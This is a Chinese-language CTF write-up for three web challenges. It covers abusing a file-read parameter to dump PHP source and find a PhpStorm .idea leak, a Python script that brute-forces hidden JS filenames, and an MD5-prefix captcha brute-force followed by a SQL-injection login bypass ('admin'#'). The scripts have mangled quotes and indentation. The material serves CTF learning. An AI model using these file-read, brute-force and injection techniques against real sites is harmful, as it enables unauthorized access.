wp4

1. Code
打开链接
wp4
发现jpg参数
试着读取flag.php
没用
在读取index.php
得到一串图片base64
在线转换

<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo 'file:'.$file.''; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file)); echo "wp4"; /* * Can you find the flag file? * */ ?>

发现Created by PhpStorm
查看别人的wp
发现了Created by PhpStorm。
phpstorm是php代码的集成开发环境,下载phpstorm,并新建一个项目,会发现在项目文件夹里面会生成一个.idea文件,它存储了项目的配置文件,
打开.idea文件可以发现misc.xml,modules.xml,workspace.xml文件。
访问./.idea/workspace.xml可发现关键文件
2. 象棋
打开链接
wp4
Html5游戏,第一想法是暴力完成这个游戏,拿到flag
打开源码,去发现一个

是正则表达式,点开是404
因此需要一个脚本,**出对的文件名
参考大佬的脚本
import requests
import base64
import sys
import hashlib

url = “http://5fe2d6ae625c466b9629c09d06e51bf8f78579f0682b43ed.changame.ichunqiu.com/js/”
key1= “abcmlyx”
key2 = “0123456789”

#这里是生成字典,,,
dic = []
for i in key1:
for j in key1:
for k in key2:
for l in key2:
for m in key2:
key3 = i+j+“ctf”+str(k)+str(l)+str(m)+".js"
dic.append(key3)
#print(dic)

#稍微算了一下,这样**真的耗时。。。。。。。要是会多线程就好了,菜不能昧啊~~~

for i in range(0,len(dic)):
res=requests.get(url+dic[i])
print(dic[i])
if “flag” in res.text:
print(res.text)
break;
————————————————
版权声明:本文为****博主「A_dmins」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.****.net/qq_42967398/article/details/92712105
得flag
3. Getflag
打开链接
wp4
验证码
用脚本跑出来

  1. 测试验证码有几位
    测试有6-8位
    2.上脚本
    import requests
    import base64
    import sys
    import hashlib

def getMd5(index):
for i in range(100000,100000000):
x = i
md5 = hashlib.md5(str(x).encode(“utf8”)).hexdigest()
if md5[0:6] == index:
return x;
print(getMd5(“657f26”))
然后就可以尝试登录了(这个必须要先搞定captcha,不然我们的输入没用)
这里试试admin,admin’,admin”,admin#,admin’#’
#是注释符,如果没有过滤可以绕过密码

绕过成功
得a.php
wp4
Root dir
/var/www/html/challenges/flag.php